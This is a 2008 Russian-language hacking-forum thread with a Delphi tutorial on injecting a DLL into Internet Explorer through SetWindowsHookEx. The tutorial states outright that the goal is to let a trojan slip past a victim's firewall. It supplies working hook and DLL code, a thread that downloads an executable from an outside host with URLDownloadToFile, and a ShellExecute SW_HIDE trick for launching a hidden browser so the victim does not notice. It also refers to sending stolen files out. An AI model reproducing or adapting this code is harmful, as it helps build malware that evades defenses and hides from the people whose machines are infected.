Регистрация Главная Сообщество
Сообщения за день Справка Регистрация

Ответ
 
Опции темы
Старый 01.12.2008, 20:42   #1
Заблокирован
 Старший сержант
Аватар для shagart
 
shagart у всех на слухуshagart у всех на слухуshagart у всех на слухуshagart у всех на слухуshagart у всех на слухуshagart у всех на слухуshagart у всех на слухуshagart у всех на слухуshagart у всех на слухуshagart у всех на слуху
Регистрация: 16.07.2008
Сообщений: 209
Популярность: 1335
Сказал(а) спасибо: 231
Поблагодарили 236 раз(а) в 134 сообщениях
Отправить сообщение для shagart с помощью ICQ Отправить сообщение для shagart с помощью Telegram Отправить сообщение для shagart с помощью Yahoo Отправить сообщение для shagart с помощью Skype™
 
По умолчанию Dll-Injecting on Delphi

Операционки стали выпускать со встроенными файрволами (например MS Windows XP SP2 и некоторые Linux'ы). Поэтому если у хакера и получается как-нибудь запустить на машине жертвы троян, пробраться в сеть этому трояну теперь ой как непросто.

А что если прикинуться броузером?

Обычно файрвол настроен пропускать в сеть web-браузер - иначе как пользователь будет лазить по своим любимым сайтам? Хитрость в том, что бы троян внедрился в web-браузер, как-нибудь "заразил" его, и работал с сетью от его имени. Причем внедрение надо провести так, что бы файрвол ничего не заметил.

Вариантов тут несколько. Первое, что приходит в голову: попробовать заразить EXE-файл web-браузера на диске (например iexplore.exe для MS Internet Explorer) так же, как это делают вирусы. Но, во-первых, внедрить собственный код в EXE-файл на диске не так-то просто - особенно если этот код написан на языке высокого уровня типа Delphi. Во-вторых, при заражении EXE-файл изменится, а это плохо. Обычно файрволы, перед тем как выпустить какую-нибудь программу в сеть, проверяют ее исполняемые файлы на диске. Если файлы изменились, доступ в сеть для программы закрывается, а пользователю тут же выдается соответствующее сообщение. Ну и в третьих, некоторые браузеры при запуске могут проверять собственные файлы. Если файлы изменились, браузер сообщает об этом пользователю и прекращает работу. Этим страдает например IE-based браузер, встроенный в PHP Expert Editor 3.2.1.

В общем, заражение EXE-файла на диске практически ничего не дает. Поэтому троянмейкеры применяют другой прием - заражение браузера прямо в памяти. В MS Windows существует несколько техник, позволяющих трояну подгрузить свой код в адресное пространство чужого процесса (в том числе браузера), не изменяя никаких файлов на диске. Рассмотрим, ИМХО, наиболее простую из них.

Техника DLL-INJECTING через ловушки

Эта техника известна троянмейкерам уже давно. Она позволяет внедрить свою DLL в адресное пространство чужого процесса (injecting - по англ. "внедрение"). Техника основана на том, что Windows позволяет программам устанавливать так называемые ловушки (hooks, "хуки") на сообщения системы. Обычно ловушки используются программами в сугубо мирных целях. Например, переключатель языков Windows устанавливает ловушку на сообщения от клавиатуры, что бы знать, какие клавиши нажаты. Но ловушки могут быть использованы и троянами, что бы прорваться мимо файрвола в сеть.

Давайте рассмотрим конкретный пример, а с теорией разберемся по ходу дела - думаю, так получится понятнее всего (готовые исходники примера лежат здесь). Конечно, наш пример сам по себе ни в коем случае не будет трояном - мы же законопослушные граждане Мы просто напишем процедуру InjectDLLviaHOOKS(dll_name: string), которая внедряет указанную в dll_name библиотеку в адресное пространство Internet Explorer =)

Сначала попробуем просто загрузить dll_name с помощью API LoadLibrary. При успешной загрузке эта API должна вернуть нам идентификатор (его еще называют "хэндл") загруженной DLL. Этот идентификатор мы поместим в переменную h типа THandle:

Код:
h:=LoadLibrary(PAnsiChar(dll_name));
// проверим, загрузилась ли библиотека
if h=0 then
begin
// нет - выдадим messagebox с сообщением и выйдем из процедуры
MessageBox(0, PAnsiChar('Не могу загрузить DLL '+dll_name+'!'), 
DLL_INJ, MB_OK+MB_ICONERROR);
exit;
end;
Здесь и дальше константа DLL_INJ содержит заголовок окна messagebox'а:

const DLL_INJ = 'DLL Injector (HOOKS)';

Это сделано просто для удобства, что бы каждый раз не перенабирать заголовок заново.

Теперь с помощью API GetProcAddress найдем в загруженной DLL адреса функций HookProc и SetHK. Что это за функции нам станет ясно дальше. Код:
Код:
p:=GetProcAddress(h, 'HookProc');
@sh:=GetProcAddress(h, 'SetHK');
// проверим, нашлись ли адреса
if ((p=nil) or (@sh=nil)) then
begin
// не нашлись :( - выдадим messagebox
MessageBox(0, PAnsiChar('Библиотека '+
dll_name+' не содержит необходимых функций!'),
DLL_INJ, MB_OK+MB_ICONERROR);
// выгрузим библиотеку
FreeLibrary(h);
// и выйдем
exit;
end;
Причем заметим, что p - это просто указатель (тип pointer), а sh - переменная-функция, прототип которой описан как:

type TShp = procedure (hk: HHOOK) stdcall;

Пока что ничего особенного, правда? Только неясно, что такое HHOOK. Вот сейчас и выясним. Установим ловушку. Делается это с помощью API SetWindowsHookEx. В качестве первого параметра необходимо указать тип ловушки. Мы укажем WH_CALLWNDPROC - это значит, что мы хотим поставить ловушку на сообщения, получаемые окнами. Вторым и третьим параметром передадим адрес функции ловушки (указатель p на HookProc) и идентификатор DLL (переменная h), в котором эта функция находиться. Четвертый параметр - идентификатор потока, на который необходимо поставить ловушку. У нас этот параметр равен 0 - это значит, что мы хотим поставить ловушки на все потоки в системе, которые имеют окна.

Если ловушка поставлена успешно API SetWindowsHookEx вернет идентификатор ловушки, который мы поместим в переменную hk типа HHOOK (вот мы и выснили, что такое HHOOK!). Если ловушку установить не удалось - мы получим 0.

А вот и кусок кода, который все это делает:
Код:
hk:=SetWindowsHookEx(WH_CALLWNDPROC, p, h, 0);
// проверим, установилась ли ловушка
if hk=0 then
begin
// нет =( - messagebox, отгрузка библиотеки, выход
MessageBox(0, PAnsiChar('Невозможно установить хук!'),
DLL_INJ, MB_OK+MB_ICONERROR);
FreeLibrary(h);
exit;
end;
Теперь, если мы все сделали правильно, ловушка установилась. Что же произошло? А произошло вот что - наша DLL загрузилась во все процессы, которые имеют окна. И теперь как только Windows пошлет какому-нибудь окну сообщение (любое!), это сообщение сперва попадет к нашей функции HookProc, и только потом - к нужному окну. Более того, если мы уже после установки ловушки загрузим какую-то программу с окнами, наша DLL подгрузиться к этой программе автоматически! Так что даже если браузер еще не запущен, не страшно, мы можем подождать =)

Однако тут все не так просто, как кажется на первый взгляд. Функция HookProc в dll_name не может быть какой попало, она должна иметь определенный вид. Какой? Сейчас увидим.

Создадим в Delphi шаблон DLL. В Delphi 7 это File=>New=>Other=>New=>DLL Wizard, в других версиях или точно так же, или похоже. Удалим из шаблона все и впишем туда:

Код:
library hook_dll;
uses Windows;
begin
end.
Затем сохранимся под именем hook_dll (скомпилированная библиотека таким образом будет называться hook_dll.dll). Теперь вобьем функцию HookProc:

Код:
function HookProc(nCode, wParam, lParam: integer): integer stdcall;
begin
// просто передадим сообщение дальше по цепочке
Result:=CallNextHookEx(_hook, nCode, wParam, lParam);
end;
Не забудьте про stdcall! Тем самым вы укажете компилятору Delphi, что параметры нужно передавать функции на стеке в обратном порядке (если вы не очень поняли, что это значит - Гейтс с ним, просто не забудьте про stdcall, это важно).

Теперь посмотрим на саму функцию. HookProc принимает три параметра типа integer. Не будем сейчас разбираться, что означают эти параметры. Скажем только, что nCode - это число, которое говорит нашей функции, как обрабатывать поступившее сообщение Windows, а wParam и lParam - это, собственно, и есть само сообщение. Поскольку мы вообще никак не собираемся его обрабатывать, мы просто передадим его дальше - окну или следующей ловушке.

"Какой следующей ловушке?" - спросит особо дотошный читатель. Отвечаю: дело в том, что не одни мы можем ставить ловушки. Очень может быть, что перед нами какая-то программа (тот же переключатель языков Windows) уже поставила точно такую же ловушку. Потому сообщение сначала попадет к функции нашей ловушки; эта функция должна передать его следующей ловушки - той, которая была поставлена перед нами; та - следующей и т.д. по цепочке. Ловушка, которая была поставлена самой первой, передаст сообщение уже окну. Ну, конечно, если до нашей ловушки никаких других не ставили, тогда мы передаем сообщение сразу окну.

Но мы отвлеклись, давайте вернемся к функции HookProc. Передача сообщения осуществляется с помощью API CallNextHookEx. Причем специфика ловушек состоит в том, что HookProc должна вернуть значение, которое получится в результате работы CallNextHookEx.

Посмотрим на параметры CallNextHookEx. С nCode, wParam, lParam все ясно. А вот что такое _hook? Ответ на этот вопрос зависит от версии Windows. В 9x/ME это обязательно должен быть идентификатор ловушки, который мы получили с помощью SetWindowsHookEx. В 2000/XP _hook может быть просто 0. Получается, что если мы работаем под 9x/ME, мы должны как-то передать идентификатор ловушки в библиотеку. Помните, в самом начале, сразу после загрузки DLL с помощью LoadLibrary мы находили в ней адрес функции SetHK? В hook_dll.dll эта функция выглядит так:

Код:
var
// _hook обьявляется глобальной переменной в hook_dll
// типа HHOOK со значением по умолчанию 0
_hook: HHOOK = 0;

... ... ..

// собственно, сама процедура
procedure SetHK(hk: HHOOK) stdcall;
begin
_hook:=hk;
end;

SetHK передает идентификатор ловушки в нашу DLL, поэтому ее необходимо вызвать в процедуре установки хука сразу после SetWindowsHookEx. Что мы и сделаем =)

sh(hk);
[/CODE]

Правда, если вы собираетесь работать только под Windows 2000/XP, функция SetHK не обязательна. Как уже было сказано, _hook в этом случае может быть равно 0 (мы, кстати, так и прописали по умолчанию). Поэтому SetHK можно вообще убрать из hook_dll, а в процедуре внедрения DLL не искать адрес и не вызывать ее.

Надо сказать, что здесь есть еще одна тонкость, которую мы сегодня обсуждать не будем. Она совсем не чувствуется на Windows 9x/ME/2000/XP. Но если вы попытаетесь ставить ловушки в Windows NT и писать все это на Delphi, вам придеться здорово попотеть, что бы передать идентификатор ловушки в DLL. Это связано с тем, что компилятор Delphi очень криво поддерживает так называемые shared-секции. Но не надо о грустном =), тем более кто сейчас помнит NT?

Итак, ловушка стоит, наша DLL подгружается во все процессы с окнами. Но нам ведь не нужны все процессы, нам нужен процесс Internet Explorer - iexplore.exe. Как же узнать, в какой процесс нас подгрузила система? Очень просто - в секцию инициализации DLL впишем код:
Код:
begin
// сравниваем идентификатор процесса, в который нас загрузили,
// с идентификатором iexplore.exe
if GetModuleHandle(nil)=GetModuleHandle('iexplore.exe') then
begin
// если совпало - значит мы наконец-то попали в Internet Explorer
// создадим поток, в котором будем работать
CreateThread(nil, 0, @WorkWithNet, pointer(12345), 0, thID);
end;
end.
Передавая API-функции GetModuleHandle параметр nil, мы находим хендл процесса, в который нас загрузили, и сравниваем с хендлом Internet Explorer. Это работает даже если iexplore.exe еще не запущен - тогда GetModuleHandle('iexplore.exe') просто вернет нам 0. Ну и ничего страшного - можно ведь сравнивать и с нулем =) Если сравнение прошло успешно, мы создадим поток, в котором и будем работать.

"А зачем создавать поток?" - спросит тот же дотошный читатель, что спрашивал про следующую ловушку =), - "Ведь можно вместо какого-то малопонятного CreateThread просто вписать свой код!" Так то оно так, но... Загрузка DLL не закончится, пока не будет выполнен весь код в секции инициализации. И если мы собираемся работать с сетью прямо в секции инициализации, то процесс загрузки может затянуться надолго. Если он затянется, у того процесса, в которое мы внедрились (особенно это касается процессов, запускаемых после установки ловушки) могут возникнуть проблемы с обработкой сообщений и оно повиснет. Кроме того, Windows накладывает много чисто системных ограничений на код в секции инициализации DLL - там много чего запрещено из того, что разрешено обычному коду. А зачем нам запреты и ограничения?

Поток создается обычным образом, с помощью API CreateThread. @WorkWithNet - указатель на процедуру, которая будет выполняться в потоке. thID - глобальная переменная типа THandle, в которую будет помещен идентификатор потока (нам-то она ни к чему, но по синтаксису быть должна). pointer(12345) - указатель на переменную, которая передается потоку (опять-таки он сформирован "от балды", т.к. никакие внешние переменный в потоке мы не используем). Поток стартует сразу после выполнения CreateThread.

Теперь о процедуре WorkWithNet. Выглядит она так:
Код:
procedure WorkWithNet(thrVar: integer) stdcall;
begin
// скачиваем файл [Ссылки могут видеть только зарегистрированные пользователи. ] и записываем его в d:\cmd.exe
URLDownloadToFile(nil, 'http://test2.ru/cmd.exe', 'd:\cmd.exe', 0, nil);
// выдаем messagebox с сообщением об успешном внедрении
MessageBox(0, 'Успешно внедрились Internet Explorer и попробовали '+
'скачать файл в обход файрвола =)) Файл должен лежать в d:\',
'Hook DLL', MB_OK);
// на этом процедура потока завершается и поток - вместе с ней
end;
Думаю, тут все понятно. Только не забудьте вместо [Ссылки могут видеть только зарегистрированные пользователи. ] указать какой-нибудь правильный адрес файла в сети и включить в uses модуль UrlMon - в нем описана API-функция URLDownloadToFile.

Ловушка работает, пока запущена EXE-программа, которая ее установила. После завершения этой EXE система снимает ловушку автоматически. Если ловушку нужно снять до завершения установившей ее программы, воспользуйтесь API UnhookWindowsHookEx. В качестве единственного параметра ей надо передать идентификатор ловушки:

UnhookWindowsHookEx(hk);

Вот, собственно, и вся техника DLL-injecting с помощью ловушек =)

Проблемы

Стоит, сказать о некоторых проблемах, которые возникают при использовании DLL injecting через ловушки.

Во первых, внедрение DLL происходит только в те процессы, которые имею окна. Если жертва трояна - ненормальный маньяк , который ходит в сеть через текстовый браузер (например Lynx в DOS-сеансе), то троян отдыхает. Никакими ловушками он никуда не пролезет. К счастью, сегодня текстовые браузеры - редкость.

Во вторых, без прав администратора в 2000/XP троянская DLL не сможет внедриться в системные процессы (типа winlogon.exe), даже если те имеют окна. Но это тоже не большая проблема. Браузер в большинстве случаев запускается как обычный процесс и для доступа к нему никаких особых прав не нужно. Например, код к этой статье нормально работает с Internet Explorer 6.0 под "Гостем" в Windows XP SP2.

В третьих - файрволы умнеют с каждым релизом и сейчас особо продвинутые уже не выпускают в сеть подгруженные с помощью ловушки DLL-ки. Для того, что бы проскользнуть мимо них, нужны более сложные техники. Вот это, конечно, уже печально =(. Но увы - такова суровая правда жизни.

Иногда возникает еще и четвертая проблема - жертва сидит в сети, но браузер не запускает (например, сутками сосет почту и торчит в Асе). А трояну нужно срочно скачать для себя обновление или отправить краденые файлы. Эта проблема имеет очень простое решение =)

Запусти браузер сам!

В Windows есть хорошая API-функция ShellExecute, она открывает файлы и запускает программы. Вызвать эту функцию - все равно, что дважды клацнуть по указнному файлу. Документы будут открываются в Word'е, файлы с расширением TXT - в блокноте, а EXE... они просто запускаться =) Это мы и используем - запустим браузер сами!

"Стоп, стоп!" - скажет уже всех задолбавший дотошный читатель, - "Ведь если мы сами запустим браузер, ламер, которому мы впихнули троян, это увидит. И такой шутки скорее всего не поймет".

Отвечаю: спокойно, все предусмотрено! Допустим, мы хотим запустить Internet Explorer. Вызовем ShellExecute так:
Код:
ShellExecute(0, 'open', 'iexplore.exe', nil, nil, SW_HIDE);
Первый параметр - хендл окна-владельца открытого браузера. У нас 0 - владельца нет. Второй и третий параметры - операция (у нас "open" - т.е. открыть) и программа, к которой эта операция дожна быть применена. Четвертый параметр - PAnsiChar-строка с параметрами. Мы ничего не передаем, у нас там nil. Предпоследний, пятый параметр, тоже PAnsiChar-строка - директория по умолчанию. У нас опять-таки nil. И наконец последний, самый интересный параметр - константа, определяющая способ запуска программы, в которой будет открыт документ. Здесь мы передаем SW_HIDE, и наш браузер запускается в скрытом виде! Т.е., говоря языком VCL-форм в Delphi, ее главное окно имеет свойство Visible:=FALSE.

Поэтому когда мы сами откроем Internet Explorer по умолчанию, пользователь (или, как говорит дотошный читатель, "ламер") ничего не заметит. Увидеть и закрыть запущенный таким образом браузер можно только в менеджере задач, по Ctr+Alt+Del. Кстати, в Windows 2000/XP для этого понадобится зайти на вкладку "Процессы", потому что на вкладке "Приложения" iexplore.exe не видно =)

Сам троян может узнать, запустился ли браузер, проверив значение, которое возвратит ShellExecute. Если оно больше 32 - все о'кей.

Конечно, можно для запуска браузера можно использовать не только ShellExecute. В Windows есть еще две API - WinExec и CreateProcess. Но WinExec морально устарела (хотя работает), а в CreateProcess слишком много параметров, поэтому ею не очень удобно пользоваться.

Последний раз редактировалось Ivan_32; 02.12.2008 в 07:04. Причина: Добавлено сообщение
  Ответить с цитированием
5 пользователя(ей) сказали cпасибо:
Ivan_32 (02.12.2008), KloneB@DGuY (04.03.2010), Lev (09.11.2009), ZeLiK (09.08.2009), Zhyk (02.12.2008)
Старый 02.12.2008, 12:45   #2
Заблокирован
 Капитан
Аватар для Ivan_32
 
Ivan_32 душа компанииIvan_32 душа компанииIvan_32 душа компанииIvan_32 душа компанииIvan_32 душа компанииIvan_32 душа компанииIvan_32 душа компанииIvan_32 душа компании
Регистрация: 14.05.2008
Сообщений: 253
Популярность: 1015
Сказал(а) спасибо: 666
Поблагодарили 451 раз(а) в 173 сообщениях
Отправить сообщение для Ivan_32 с помощью ICQ Отправить сообщение для Ivan_32 с помощью Telegram Отправить сообщение для Ivan_32 с помощью Skype™
 
По умолчанию

Мда на дельфях всетаки проще писать : MessageBox(0, PAnsiChar('Библиотека '+
dll_name+' не содержит необходимых функций!') спокойненько так себе прибавили две строки...наверно это потому что Delphi все же имеет строгую типизацию.=)
  Ответить с цитированием
Ответ

Метки
delphi, dll-injecting


Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход

Заявление об ответственности / Список мошенников

Часовой пояс GMT +4, время: 22:46.

Пишите нам: [email protected]
Copyright © 2024 vBulletin Solutions, Inc.
Translate: zCarot. Webdesign by DevArt (Fox)
G-gaMe! Team production | Since 2008
Hosted by GShost.net